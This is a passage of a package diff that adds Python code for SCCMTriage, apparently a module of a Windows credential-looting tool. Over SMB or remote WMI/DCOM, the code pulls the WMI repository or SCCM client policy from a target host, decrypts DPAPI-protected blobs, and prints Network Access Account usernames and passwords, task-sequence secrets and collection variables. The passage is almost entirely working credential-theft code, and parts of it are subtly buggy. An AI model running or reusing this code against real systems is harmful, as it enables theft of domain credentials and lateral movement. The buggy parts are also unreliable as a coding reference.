print('\tSecret:\t%s' % self.secret.decode('latin-1'))
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
def dump_quiet(self) -> None:
|
|
42
|
+
print("[Task] %s" % (self.secret.decode('latin-1')))
|
|
43
|
+
|
|
44
|
+
class SCCMCollection:
|
|
45
|
+
def __init__(self, variable, value) -> None:
|
|
46
|
+
self.variable = variable
|
|
47
|
+
self.value = value
|
|
48
|
+
|
|
49
|
+
def dump(self) -> None:
|
|
50
|
+
print('[Collection Variable]')
|
|
51
|
+
print("\tName:\t%s" % self.variable.decode('latin-1'))
|
|
52
|
+
print("\tValue:\t%s" % self.value.decode('latin-1'))
|
|
53
|
+
|
|
54
|
+
|
|
55
|
+
def dump_quiet(self) -> None:
|
|
56
|
+
print("[Collection] %s:%s" % (self.variable.decode('latin-1'), self.value.decode('latin-1')))
|
|
57
|
+
|
|
58
|
+
class SCCMTriage:
|
|
59
|
+
|
|
60
|
+
sccm_objectdata_filepath = 'Windows\\System32\\wbem\\Repository\\OBJECTS.DATA'
|
|
61
|
+
share = 'C$'
|
|
62
|
+
|
|
63
|
+
def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey], use_wmi: bool) -> None:
|
|
64
|
+
self.target = target
|
|
65
|
+
self.conn = conn
|
|
66
|
+
self.use_wmi = use_wmi
|
|
67
|
+
self.masterkeys = masterkeys
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
def sccmdecrypt(self, dpapi_blob):
|
|
71
|
+
if self.use_wmi:
|
|
72
|
+
list_blob = [int(dpapi_blob[i:i+2],16) for i in range(0, len(dpapi_blob), 2)][4:]
|
|
73
|
+
else:
|
|
74
|
+
list_blob = list(bytes.fromhex(dpapi_blob.decode('utf-8')))[4:]
|
|
75
|
+
blob_bytes = bytes(list_blob)
|
|
76
|
+
|
|
77
|
+
masterkey = find_masterkey_for_blob(blob_bytes, masterkeys=self.masterkeys)
|
|
78
|
+
result = ''
|
|
79
|
+
if masterkey is not None:
|
|
80
|
+
result = decrypt_blob(blob_bytes, masterkey=masterkey)
|
|
81
|
+
return result
|
|
82
|
+
else:
|
|
83
|
+
print("Master keys not found for SCCM blob")
|
|
84
|
+
return ""
|
|
85
|
+
|
|
86
|
+
def parseFile(self, objectfile) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]:
|
|
87
|
+
sccmcred = list()
|
|
88
|
+
sccmsecret = list()
|
|
89
|
+
sccmcollection = list()
|
|
90
|
+
regex_naa = b"CCM_NetworkAccessAccount.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
|
|
91
|
+
regex_task = b"</SWDReserved>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
|
|
92
|
+
regex_collection = b"CCM_CollectionVariable\x00\x00(.*?)\x00\x00.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
|
|
93
|
+
logging.debug("Looking for NAA Credentials from OBJECTS.DATA file")
|
|
94
|
+
pattern = re.compile(regex_naa)
|
|
95
|
+
for match in pattern.finditer(objectfile):
|
|
96
|
+
logging.debug("Found NAA Credentials from OBJECTS.DATA file")
|
|
97
|
+
password = self.sccmdecrypt(match.group(1))
|
|
98
|
+
username = self.sccmdecrypt(match.group(2))
|
|
99
|
+
sccmcred.append(SCCMCred(username, password))
|
|
100
|
+
pattern = re.compile(regex_task)
|
|
101
|
+
logging.debug("Looking for task sequences secret from OBJECTS.DATA file")
|
|
102
|
+
for match in pattern.finditer(objectfile):
|
|
103
|
+
logging.debug("Found task sequences secret from OBJECTS.DATA file")
|
|
104
|
+
secret = self.sccmdecrypt(match.group(1))
|
|
105
|
+
sccmsecret.append(SCCMSecret(secret))
|
|
106
|
+
pattern = re.compile(regex_collection)
|
|
107
|
+
logging.debug("Looking for collection variables from OBJECTS.DATA file")
|
|
108
|
+
for match in pattern.finditer(objectfile):
|
|
109
|
+
logging.debug("Found collection variable from OBJECTS.DATA file")
|
|
110
|
+
name = self.sccmdecrypt(match.group(1))
|
|
111
|
+
value = self.sccmdecrypt(match.group(2))
|
|
112
|
+
sccmcollection.append(SCCMCollection(name, value))
|
|
113
|
+
return sccmcred, sccmsecret, sccmcollection
|
|
114
|
+
|
|
115
|
+
def parseReply(self, iEnum):
|
|
116
|
+
finding = list()
|
|
117
|
+
regex = "<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
|
|
118
|
+
while True:
|
|
119
|
+
try:
|
|
120
|
+
pEnum = iEnum.Next(0xffffffff,1)[0]
|
|
121
|
+
record = pEnum.getProperties()
|
|
122
|
+
|
|
123
|
+
if 'NetworkAccessUsername' in record and 'NetworkAccessPassword' in record and len(record['NetworkAccessUsername']['value']) > 0 and len(record['NetworkAccessPassword']['value']) > 0:
|
|
124
|
+
logging.debug("Found NAA Credentials using WMI")
|
|
125
|
+
username = self.sccmdecrypt(re.match(regex, record['NetworkAccessUsername']['value']).group(1))
|
|
126
|
+
password = self.sccmdecrypt(re.match(regex, record['NetworkAccessPassword']['value']).group(1))
|
|
127
|
+
finding.append(SCCMCred(username, password))
|
|
128
|
+
if 'Name' in record and 'Value' in record and len(record['Name']['value']) > 0 and len(record['value']['value']) > 0:
|
|
129
|
+
logging.debug("Found collection variables using WMI")
|
|
130
|
+
name = self.sccmdecrypt(re.match(regex, record['name']['value']).group(1))
|
|
131
|
+
value = self.sccmdecrypt(re.match(regex, record['value']['value']).group(1))
|
|
132
|
+
finding.append(SCCMCollection(name, value))
|
|
133
|
+
if 'TS_Sequence' in record and len(record['TS_Sequence']['value']) > 0:
|
|
134
|
+
logging.debug("Found task sequences secret using WMI")
|
|
135
|
+
secret = self.sccmdecrypt(re.match(regex, record['TS_Sequence']['value']).group(1))
|
|
136
|
+
finding.append(SCCMSecret, secret)
|
|
137
|
+
except Exception as e:
|
|
138
|
+
if str(e).find('S_FALSE') > 0:
|
|
139
|
+
break
|
|
140
|
+
if logging.getLogger().level == logging.DEBUG:
|
|
141
|
+
import traceback
|
|
142
|
+
traceback.print_exc()
|
|
143
|
+
raise
|
|
144
|
+
else:
|
|
145
|
+
break
|
|
146
|
+
iEnum.RemRelease()
|
|
147
|
+
return finding
|
|
148
|
+
|
|
149
|
+
|
|
150
|
+
def LocalSecretsWmi(self) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]:
|
|
151
|
+
sccmcred=list()
|
|
152
|
+
sccmtask=list()
|
|
153
|
+
sccmcollection=list()
|
|
154
|
+
namespace = 'root\\ccm\\Policy\\Machine\\RequestedConfig'
|
|
155
|
+
query_naa = 'SELECT NetworkAccessUsername, NetworkAccessPassword FROM CCM_NetworkAccessAccount'
|
|
156
|
+
query_task = 'SELECT TS_Sequence FROM CCM_TaskSequence'
|
|
157
|
+
query_collection = 'SELECT Name, Value FROM CCM_CollectionVariable'
|
|
158
|
+
try:
|
|
159
|
+
dcom = DCOMConnection(self.target.address, self.target.username, self.target.password, self.target.domain, self.target.lmhash, self.target.nthash, self.target.aesKey, oxidResolver=True, doKerberos=self.target.do_kerberos, kdcHost=self.target.dc_ip)
|
|
160
|
+
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
|
161
|
+
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
|
162
|
+
iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
|
163
|
+
iWbemLevel1Login.RemRelease()
|
|
164
|
+
logging.debug("Query WMI for Network access accounts")
|
|
165
|
+
iEnumWbemClassObject = iWbemServices.ExecQuery(query_naa)
|
|
166
|
+
sccmcred = self.parseReply(iEnumWbemClassObject)
|
|
167
|
+
logging.debug("Query WMI for Task sequences")
|
|
168
|
+
iEnumWbemClassObject = iWbemServices.ExecQuery(query_task)
|
|
169
|
+
sccmtask = self.parseReply(iEnumWbemClassObject)
|
|
170
|
+
logging.debug("Query WMI for collection variables")
|
|
171
|
+
iEnumWbemClassObject = iWbemServices.ExecQuery(query_collection)
|
|
172
|
+
sccmcollection = self.parseReply(iEnumWbemClassObject)
|
|
173
|
+
iEnumWbemClassObject.RemRelease()
|
|
174
|
+
except (Exception, KeyboardInterrupt) as e:
|
|
175
|
+
if logging.getLogger().level == logging.DEBUG:
|
|
176
|
+
import traceback
|
|
177
|
+
traceback.print_exc()
|
|
178
|
+
logging.debug(str(e))
|
|
179
|
+
dcom.disconnect()
|
|
180
|
+
return sccmcred, sccmtask, sccmcollection
|
|
181
|
+
|
|
182
|
+
def triage_sccm(self) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]:
|
|
183
|
+
sccmcred=list()
|
|
184
|
+
sccmtask=list()
|
|
185
|
+
sccmcollection=list()
|
|
186
|
+
try:
|
|
187
|
+
if self.use_wmi:
|
|
188
|
+
sccmcred, sccmtask, sccmcollection = self.LocalSecretsWmi()
|
|
189
|
+
else:
|
|
190
|
+
objectfile = self.conn.readFile(self.share,self.sccm_objectdata_filepath, bypass_shared_violation = True)
|
|
191
|
+
if (objectfile is not None and len(objectfile) > 0):
|
|
192
|
+
sccmcred, sccmtask, sccmcollection = self.parseFile(objectfile)
|
|
193
|
+
except Exception as e:
|
|
194
|
+
if logging.getLogger().level == logging.DEBUG:
|
|
195
|
+
import traceback
|
|
196
|
+
traceback.print_exc()
|
|
197
|
+
logging.debug(str(e))
|
|
198
|
+
pass
|
|
199
|
+
return sccmcred, sccmtask, sccmcollection
|
|
200
|
+
|
|
201
|
+
|
|
202
|
+
|
|
203
|
+
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|